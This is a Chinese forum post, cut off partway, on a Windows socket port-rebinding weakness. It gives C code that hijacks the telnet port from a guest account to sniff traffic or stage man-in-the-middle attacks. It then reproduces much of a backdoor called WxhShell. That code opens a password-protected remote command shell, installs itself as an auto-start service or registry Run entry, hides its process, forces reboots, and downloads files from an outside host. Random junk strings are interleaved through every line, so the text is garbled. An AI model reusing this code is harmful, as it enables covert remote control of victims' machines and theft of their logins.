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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .DQ]q o]OG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ C^D2Z6  
ka*UyW}  
  saddr.sin_family = AF_INET; yV. P.Q  
".\(A f2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |?> h$'  
N_<n$3P\?f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >O _  
u v5@Alm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E;sltl  
}FXRp=s  
  这意味着什么?意味着可以进行如下的攻击: v^tKT&  
*/)gk=x8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EkX6> mo  
0#JBz\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R<=t{vTJ5  
5f5ZfK3<i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &<V~s/n=6?  
pr"flRQr#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1<83MO;  
2XtQ"`)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R32d(2%5K  
z -D pLV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &u8c!;y$b  
"DpQnhvbB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jj " {r{  
S6mmk&n  
  #include 4pqZ!@45|  
  #include  AMdS+(J  
  #include hs4r5[  
  #include    wOOPWwk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |>4{4  
  int main() \K6J{;#L  
  { F'I6aE%  
  WORD wVersionRequested; kQ8WO|bA  
  DWORD ret; tpN}9N  
  WSADATA wsaData; Z ux2VepT  
  BOOL val; 2"O Y]d  
  SOCKADDR_IN saddr; [7V]=] p  
  SOCKADDR_IN scaddr; AqkK`iJ#  
  int err; oB9m\o7$  
  SOCKET s; 0=B5 =qyw  
  SOCKET sc; gISs+g  
  int caddsize; A3_9MO   
  HANDLE mt; e?>suIB  
  DWORD tid;   _SqrQ  
  wVersionRequested = MAKEWORD( 2, 2 ); YC'~8\x3z  
  err = WSAStartup( wVersionRequested, &wsaData ); @Hh"Y1B  
  if ( err != 0 ) { ;[9Is\  
  printf("error!WSAStartup failed!\n"); M6iKl  
  return -1; b G)MG0<TT  
  } BP$#a #  
  saddr.sin_family = AF_INET; vvxj{fxb)  
   4(82dmKO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }3 }=tN5  
([~`{,sv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -cgukl4Va  
  saddr.sin_port = htons(23); 1tdCzbEn+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vEGK{rMA  
  { $nn5;11@gY  
  printf("error!socket failed!\n"); D,a%Je-r,  
  return -1; IJ; *N  
  } )v~]lk,o  
  val = TRUE; -e>)yM `i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yxbTcZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'QF>e  
  { Vi WgX.  
  printf("error!setsockopt failed!\n"); !`lqWO_/ :  
  return -1; ;kBies>V  
  } sA}R!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <h9\A&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !$Z"\v'b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EB<q.  
mC`! \"w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q;.]e#wvh  
  { K5&C}Ey1  
  ret=GetLastError(); TzGm562o%  
  printf("error!bind failed!\n"); U.OX*-Cd  
  return -1; g/p }r.  
  } W?-BT >#s  
  listen(s,2); "M^W:4_  
  while(1) DT4RodE$  
  { kB#vh  
  caddsize = sizeof(scaddr); bl_WN|SQ  
  //接受连接请求 }8 _9V|E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8[;oUVb5  
  if(sc!=INVALID_SOCKET) (B<AK4G  
  { o[hP&9>q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rrYp^xLa`  
  if(mt==NULL) P qLqF5`S  
  { !`o:+Gg@  
  printf("Thread Creat Failed!\n"); <t% A)L%  
  break; VY@hhr1s~  
  } [dlH t;S  
  } .N&}<T[  
  CloseHandle(mt); mcr#Ze  
  } "%*lE0Tx  
  closesocket(s); ( y*X8  
  WSACleanup(); E2'e}RQ  
  return 0; ZGhoV#T@  
  }   J5_Y\@  
  DWORD WINAPI ClientThread(LPVOID lpParam) N'P,QiR,z<  
  { .+}o'rU  
  SOCKET ss = (SOCKET)lpParam; !!%[JR)cS  
  SOCKET sc; Wy*7jB  
  unsigned char buf[4096]; DAHf&/J K  
  SOCKADDR_IN saddr; v qMk)htIz  
  long num; 9dtGqXX  
  DWORD val; &>.1%x@R  
  DWORD ret; @;D}=$x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MmH_gR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \N+Ta:U1P  
  saddr.sin_family = AF_INET; ID#qKFFW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &xroms"S=  
  saddr.sin_port = htons(23); e-3pg?M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lFGxW 5  
  { tkqBCKpDa  
  printf("error!socket failed!\n"); OG7v'vmY  
  return -1; UQ])QTrZFi  
  } zB" `i  
  val = 100; '. Hp*9R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h!av)nhM  
  { l~TIFmHkh%  
  ret = GetLastError(); Gj8[*3d  
  return -1; a<jE 25t  
  } |#:dC #  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZHECcPhz  
  { J?quYlS  
  ret = GetLastError(); cN}A rv  
  return -1; &d3'{~:  
  } I@Z*Nu1L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) np\2sa`  
  { Bi :wP/>v  
  printf("error!socket connect failed!\n"); 3(})uV  
  closesocket(sc); }9udo,RWu  
  closesocket(ss); ?J@qg20z  
  return -1; ak8^/1*@  
  } ?En| _E_C  
  while(1) &Z;8J @  
  { RG r'<o)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dIa(</ }  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m4U+,|Fa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WfT)CIKs  
  num = recv(ss,buf,4096,0); iSz@E&[X  
  if(num>0) m2q;^o:J  
  send(sc,buf,num,0); 'h6} cw+K  
  else if(num==0) fMEv85@JL  
  break; :CST!+)o  
  num = recv(sc,buf,4096,0); C1B3VG  
  if(num>0) qvU$9cTY  
  send(ss,buf,num,0); DT"Zq  
  else if(num==0) >l< ~Z;  
  break; GHC?Tp   
  } k-cIb@+"  
  closesocket(ss); f@Rpb}zg+C  
  closesocket(sc); FWpN:|X BS  
  return 0 ; 4:eq{n  
  } Y:!/4GF  
1;kG[z=A  
&#PBww  
========================================================== ciGpluQF  
N!Wq}#&l  
下边附上一个代码,,WXhSHELL `Ivw`}L  
Z++Z@J"  
========================================================== m7wc)"`t  
?WQd  
#include "stdafx.h" Fr3d#kVR  
pG F5aF7T  
#include <stdio.h> CziaxJ  
#include <string.h> "ex~ LB  
#include <windows.h> :7Z\3_D/  
#include <winsock2.h> R(? <97  
#include <winsvc.h> [mf7>M`p]@  
#include <urlmon.h>  J"Y   
EOPS? @  
#pragma comment (lib, "Ws2_32.lib") t>6x)2,TC  
#pragma comment (lib, "urlmon.lib") _{*$>1q  
r]JC~{  
#define MAX_USER   100 // 最大客户端连接数 Pm#x?1rAj  
#define BUF_SOCK   200 // sock buffer ~r>EF!U`h  
#define KEY_BUFF   255 // 输入 buffer ;;w6b:}-c  
#ON#4WD?  
#define REBOOT     0   // 重启 3aE[F f[  
#define SHUTDOWN   1   // 关机 }]g95xT  
]Z$TzT&@%  
#define DEF_PORT   5000 // 监听端口 (O_t5<A*X  
2Z;`#{  
#define REG_LEN     16   // 注册表键长度 0qL V(L  
#define SVC_LEN     80   // NT服务名长度 XAU_SPAjiw  
ua$k^m7m5  
// 从dll定义API ]o[X+;Tj|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3:~l2KIP4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y@kcXlY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~AC P%QM=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SGBVR^  
"wF ?Hamz  
// wxhshell配置信息 J|"nwY}a9  
struct WSCFG { x?f0Hk+  
  int ws_port;         // 监听端口 o[6vxTH  
  char ws_passstr[REG_LEN]; // 口令 Q@e*$<3  
  int ws_autoins;       // 安装标记, 1=yes 0=no vTMP&a'5L  
  char ws_regname[REG_LEN]; // 注册表键名 4kaE}uKU  
  char ws_svcname[REG_LEN]; // 服务名 xOV A1p b,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RQo$iISwy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $d2kHT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {8{t]LK<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8_<&f%/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oP=T6PX~l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a81!~1A  
^x_ >r6  
}; 4j. |Y  
qu<B%v  
// default Wxhshell configuration >w2Q 1!  
struct WSCFG wscfg={DEF_PORT, O$"bd~X  
    "xuhuanlingzhe", 49xp2{  
    1, ?z5ne??  
    "Wxhshell", H b A3*2  
    "Wxhshell", Z{a{HX[Jx  
            "WxhShell Service", ![a/kj  
    "Wrsky Windows CmdShell Service", Wkg*J3O  
    "Please Input Your Password: ", 462!;/ y  
  1, 192.W+H<  
  "http://www.wrsky.com/wxhshell.exe", L,b|Iq  
  "Wxhshell.exe" W s^+7u  
    }; RRS~ xOg  
2AXF$YjY  
// 消息定义模块 Th7wP:iDP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `jb0 +{08  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ o $W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [j:}=:feQ  
char *msg_ws_ext="\n\rExit."; ZRXI?Jr%  
char *msg_ws_end="\n\rQuit."; MfXt+c`r  
char *msg_ws_boot="\n\rReboot..."; ~A[YnJYA#  
char *msg_ws_poff="\n\rShutdown..."; f.b8ZBNj>  
char *msg_ws_down="\n\rSave to "; IOsXPf9@  
u Q:ut(  
char *msg_ws_err="\n\rErr!"; 670J{b  
char *msg_ws_ok="\n\rOK!"; q)K-vt)98  
M>?aa6@0  
char ExeFile[MAX_PATH]; 7y>Tn`V8G  
int nUser = 0; qa 6=W  
HANDLE handles[MAX_USER]; ^i{,z*vi  
int OsIsNt; ilDJwZg#  
< -Hs<T|tW  
SERVICE_STATUS       serviceStatus; :b<-[8d&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mD D4_E2*  
Yl)eh(\&J  
// 函数声明 ERp:EZ'  
int Install(void); 0(Y%,q  
int Uninstall(void); A+0T"2  
int DownloadFile(char *sURL, SOCKET wsh); )3]83:lD2  
int Boot(int flag); !sg%6H?}  
void HideProc(void); HCX!P4Hj  
int GetOsVer(void); j}|N^A_ S  
int Wxhshell(SOCKET wsl); UfK4eZx*`  
void TalkWithClient(void *cs); &Q'\WA'  
int CmdShell(SOCKET sock); lQh E]m>+  
int StartFromService(void); CDQJ bvx  
int StartWxhshell(LPSTR lpCmdLine); I;Al? &uw  
\yih 1Om>~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U9<_6Bsd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _-@ZOhw&  
n\Z^K  
// 数据结构和表定义 q?;N7P  
SERVICE_TABLE_ENTRY DispatchTable[] = y0scL7/  
{ I$aXnd6)  
{wscfg.ws_svcname, NTServiceMain}, ]{K5zSK  
{NULL, NULL} ((-aC`  
}; -;+m%"k5  
X!U]`Qh  
// 自我安装 51&|t#8h  
int Install(void) ky'|Wk6   
{ a<f;\$h]  
  char svExeFile[MAX_PATH]; 3xBN10R#  
  HKEY key; 5c<b|  
  strcpy(svExeFile,ExeFile); #C"7 l6'a  
f zLANya  
// 如果是win9x系统,修改注册表设为自启动 m5e\rMN~>\  
if(!OsIsNt) { ?@_v,,|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rumAo'T/%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - waX#U T=  
  RegCloseKey(key); rU; g0'4e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *mf}bTiS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aN>U. SB  
  RegCloseKey(key); $|Q".dD  
  return 0; S#P+B*v  
    } D8k*0ei&  
  } =Ml|l$  
} a;56k  
else { C@ FxB[  
>oe4mW  
// 如果是NT以上系统,安装为系统服务 B1y<.1k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6eD(dZ  
if (schSCManager!=0) TRSOO}  
{ h^['rmd  
  SC_HANDLE schService = CreateService ;rNd701p"  
  ( ` !zQ  
  schSCManager, "w;08TX8  
  wscfg.ws_svcname, M_tj7Q3 W  
  wscfg.ws_svcdisp, zXQVUhL6  
  SERVICE_ALL_ACCESS, 3|q2rA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 86/.8  
  SERVICE_AUTO_START, e-~hS6p(  
  SERVICE_ERROR_NORMAL, kclp}  
  svExeFile, XlRw Z/Wc  
  NULL, ]9fS@SHdx  
  NULL, u06tDJ[  
  NULL, !K!)S^^Po?  
  NULL, SxMxe,.|  
  NULL DD2adu^  
  ); o(:{InpV%A  
  if (schService!=0) !{ $qMhT  
  { W5pn;u- sz  
  CloseServiceHandle(schService); *:?QB8YJ  
  CloseServiceHandle(schSCManager); *f{7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g+igxC}2z  
  strcat(svExeFile,wscfg.ws_svcname); I9;xzES  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >g=^,G}y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TKK,Y{{  
  RegCloseKey(key); 1d`cTaQ-  
  return 0; kl| g  
    } 3 *G5F}7%=  
  } jz|VF,l  
  CloseServiceHandle(schSCManager); Cm^Yl p  
} 2>g^4(  
} 7@JjjV  
vxb@9 eb!H  
return 1; ol50d73B  
} : -E,   
wc"9A~  
// 自我卸载 SK?I.  
int Uninstall(void) VXiui'/(  
{ (m6EQoW^s+  
  HKEY key; ^#2xQ5h  
Umij!=GPG^  
if(!OsIsNt) { RZ*<n$#6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #?_#!T|  
  RegDeleteValue(key,wscfg.ws_regname); nQ|GqU\oA  
  RegCloseKey(key); $Tfm/=e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )W#T2Z>N1  
  RegDeleteValue(key,wscfg.ws_regname); 18jJzYawh  
  RegCloseKey(key); S,XKW(5   
  return 0; YDW|-HIF  
  } jg?bf/$s  
}  %W(^6p!  
} k<!<<,Z  
else { (9E( Q*J5x  
/ HL_$g<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \/n+j!  
if (schSCManager!=0) 7vw;Egd@@-  
{ ~)_K"h.DY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2.ew^D#  
  if (schService!=0) :Pc(DfkS  
  { 3+ e4e  
  if(DeleteService(schService)!=0) { d<!IGt4Ky  
  CloseServiceHandle(schService); sp^Wo7&g  
  CloseServiceHandle(schSCManager); UAdz-)$  
  return 0; |4 Qx=x>  
  } p:Oz<P  
  CloseServiceHandle(schService); -'j7SOGk  
  } hzv3F9.x  
  CloseServiceHandle(schSCManager); N0nj`  
} "$r 1$mBi  
} +N7"EROc  
w~]T<^fW~  
return 1; @' d6iYk_  
} "sD1T3!\)Q  
Z0 aUHWms  
// 从指定url下载文件 wE?CvL  
int DownloadFile(char *sURL, SOCKET wsh) 7N| AA^I  
{ B@"J]S  
  HRESULT hr; )J&|\m(e  
char seps[]= "/"; F.68iN}  
char *token; l~NEGb  
char *file; z" EWj73  
char myURL[MAX_PATH]; 5\xr?`VZ  
char myFILE[MAX_PATH]; H$Kw=kMw  
se#@)LtZ  
strcpy(myURL,sURL); MF^_Z3GS'  
  token=strtok(myURL,seps); [z2eCH  
  while(token!=NULL) S!`:E  
  { VNO'="U  
    file=token; \X5 3|Y;=  
  token=strtok(NULL,seps); ';Nu&D#Ph  
  } _W}(!TKO  
^zg acn  
GetCurrentDirectory(MAX_PATH,myFILE); ?,>5[Ha^?  
strcat(myFILE, "\\"); 8TW5(fl  
strcat(myFILE, file); "oe!M'aj`1  
  send(wsh,myFILE,strlen(myFILE),0); @7%.7LK  
send(wsh,"...",3,0); bJwc1AJgH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `0rRKlbj4  
  if(hr==S_OK) L:pUvcAc?  
return 0; $~G@   
else ; h85=l<8u  
return 1; tvGlp)?.  
[]gRfM]$&  
} 2QL?]Vo  
N}DL(-SQ3  
// 系统电源模块 ' Rc#^U*n  
int Boot(int flag) Z%OW5]q  
{ b)`pZiQP  
  HANDLE hToken; >Mw'eQ0(y  
  TOKEN_PRIVILEGES tkp; }vY.EEy!  
gHZqA_*T8U  
  if(OsIsNt) { TM-Fu([LMV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AuXs B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jM@?<1  
    tkp.PrivilegeCount = 1; V'I T1~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !3V{2-y$-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l|q%%W0  
if(flag==REBOOT) { 7h`^N5H.q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H99xZxHZ{  
  return 0; nA+F  
} F,&)X>:l  
else { eF5;[v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^BiP LQ  
  return 0; n]iyFZ`9  
} %J!NL0x_  
  } +{e`]t>_  
  else { R5ZIC4p  
if(flag==REBOOT) { c]NN'9G!{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #)]E8=}  
  return 0; j8a[ (  
} g YUTt  
else { (v^Z BM_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "mA1H]r3  
  return 0; +>}o;`hPe  
} R$d7\nBG  
} P#;Th8k{K2  
kC`Rd:5  
return 1; zN")elBi  
} =) }nLS3t  
V^sc1ak1Q  
// win9x进程隐藏模块 P,ydt  
void HideProc(void) `*k@4.J{  
{ 'Wp @b678  
dp<$Zw8BE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vBoO'l9'M  
  if ( hKernel != NULL ) 9yL6W'B!  
  { ;7j,MbU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d}+W"j;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5\'AD^{  
    FreeLibrary(hKernel); esI'"hVJ  
  } E}YI WTX  
(f>M &..  
return; n[CoS  
} M*`hDdS  
y/tSGkMv  
// 获取操作系统版本 $r15gfne>  
int GetOsVer(void) h.}u?{  
{ (w$'o*z;(  
  OSVERSIONINFO winfo; ;==j|/ERe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JD lBVZ!  
  GetVersionEx(&winfo); ) rpq+~b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3{RL \gh$"  
  return 1; `eD1|Go9  
  else T8Na]V5  
  return 0; 6$RpV'xz  
} &F6C  
K*+6`z#fMF  
// 客户端句柄模块 +|&0fGv;d9  
int Wxhshell(SOCKET wsl) 6bL~6-h%)  
{ 1-o V-K  
  SOCKET wsh; W.[BPR  
  struct sockaddr_in client; ArXl=s';s4  
  DWORD myID; ti2  
V.VJcx  
  while(nUser<MAX_USER) !*vBW/  
{ vD26;S.y[a  
  int nSize=sizeof(client); X"<|Z]w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {[^#h|U  
  if(wsh==INVALID_SOCKET) return 1; Ep ">v>"  
bV6V02RF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 Y+:,ud\  
if(handles[nUser]==0) ri=+(NKo-  
  closesocket(wsh); doLNz4W  
else wW5Yw i  
  nUser++; i/$SN-5}1  
  } ,YB1 y)x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D^?_"wjW  
l$M +.GB<  
  return 0; gtYRV*^q  
} "8/dD]=f^a  
6fGK (r  
// 关闭 socket .NnGVxc5*  
void CloseIt(SOCKET wsh) 1;&T^Gdj  
{ KB[QZ`"%!  
closesocket(wsh); e U;jP]FA  
nUser--; w}`3 d@  
ExitThread(0); hSMV&Cs  
} Dbz]{_Y;  
0roCP=;  
// 客户端请求句柄 QO,+ps<  
void TalkWithClient(void *cs) Ac\W\=QvB  
{ <|H ?gfM  
m UgRm]  
  SOCKET wsh=(SOCKET)cs; XTo8,'UaP  
  char pwd[SVC_LEN]; E {>`MNj  
  char cmd[KEY_BUFF]; *U_oao  
char chr[1]; E474l  
int i,j; ( 3;`bvYH"  
>S.91!x  
  while (nUser < MAX_USER) { =x H~ww (D  
6N3@!xtpi  
if(wscfg.ws_passstr) { *Hunp Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ja `c)x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GYoseqZM  
  //ZeroMemory(pwd,KEY_BUFF); .'lN4x  
      i=0; 3dm'xe tM  
  while(i<SVC_LEN) { Ef,Cd[]b  
>FF1)~  
  // 设置超时 L_?$ayZ;  
  fd_set FdRead; a5V=!OoMk  
  struct timeval TimeOut; o5 WW{)Q  
  FD_ZERO(&FdRead); _9kIRmT{  
  FD_SET(wsh,&FdRead); }4h0bI  
  TimeOut.tv_sec=8; ym%o}( v-  
  TimeOut.tv_usec=0; d~`-AC+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W4vBf^eC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RIjM(P  
D]u=PqHk2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *P xf#X  
  pwd=chr[0]; #T"64%dX  
  if(chr[0]==0xd || chr[0]==0xa) { QJSr:dP4dG  
  pwd=0; (\vXA4Oa,  
  break; . r `[  
  } c<tmj{$  
  i++; 968^ "T#  
    } Eem g  
$?f]ZyZr.  
  // 如果是非法用户,关闭 socket ";dU-\3M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sN]Z #7  
} rPO}6lsc  
`qu] Pxk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CQ>]jQ,2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MaErx\  
TzrW   
while(1) { &+- e  
v#Upw\!  
  ZeroMemory(cmd,KEY_BUFF); ]^ 'ZiyJX  
Q52 bh'cuU  
      // 自动支持客户端 telnet标准   kzi|$Gs<  
  j=0; zlkWU  
  while(j<KEY_BUFF) { @L8;VSI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z4@y?f v7s  
  cmd[j]=chr[0]; z2~87fv+  
  if(chr[0]==0xa || chr[0]==0xd) { ZNL5({lv  
  cmd[j]=0; qZbHMTnT6  
  break; 8ds}+TtbY  
  } {US>)I  
  j++; dz,+tR~  
    } jw4TLc7p  
OjATSmZ@@  
  // 下载文件 FmI;lVF0j  
  if(strstr(cmd,"http://")) { Efr3x{ j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Py3I9  
  if(DownloadFile(cmd,wsh)) D|TR!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1)\Zi  
  else veO?k.u(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V16%Ne  
  } 61,O%lV  
  else { O 6]u!NqG  
]_ #SAhOR)  
    switch(cmd[0]) { gh61H:tkR  
  <<<NXsH  
  // 帮助 pVz*ZQ[]  
  case '?': { PWG;&ma  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7LdzZS0OM  
    break; H:MUNc8i  
  } yHOqzq56  
  // 安装 `^%@b SE(  
  case 'i': { Tk](eQsy.v  
    if(Install()) PUKVn+h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A:)sg!Lt  
    else ]bu9-X&T&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^O \q3HA_4  
    break; iAHZ0Du  
    } DaDUK?  
  // 卸载 O! (85rp/  
  case 'r': { JZw^ W{  
    if(Uninstall()) DaCblX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nX 8B;*p6b  
    else g]4y AV<2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M:(&n@e  
    break; )f[C[Rd  
    } %mL5+d-oP  
  // 显示 wxhshell 所在路径 XHNkQe  
  case 'p': { ==`Pb  
    char svExeFile[MAX_PATH]; Wl TpX`  
    strcpy(svExeFile,"\n\r"); WG\Q5k4Ba  
      strcat(svExeFile,ExeFile); OPLl*bnf  
        send(wsh,svExeFile,strlen(svExeFile),0); f}blB?e  
    break; wt\m+!u`  
    } y9ip[Xn-$:  
  // 重启 =h7[E./U1  
  case 'b': { |?yE^$a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pJ6Jx(  
    if(Boot(REBOOT)) Rdj8 *f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )r#,ML  
    else { hpas'H>J  
    closesocket(wsh); J@gm@ jLc  
    ExitThread(0); K4Y'B o4  
    } $E@ouX?  
    break; jJ<;2e~OW  
    } (gD Q\t@3-  
  // 关机 ;t~*F#p(!  
  case 'd': { [9J:bD  
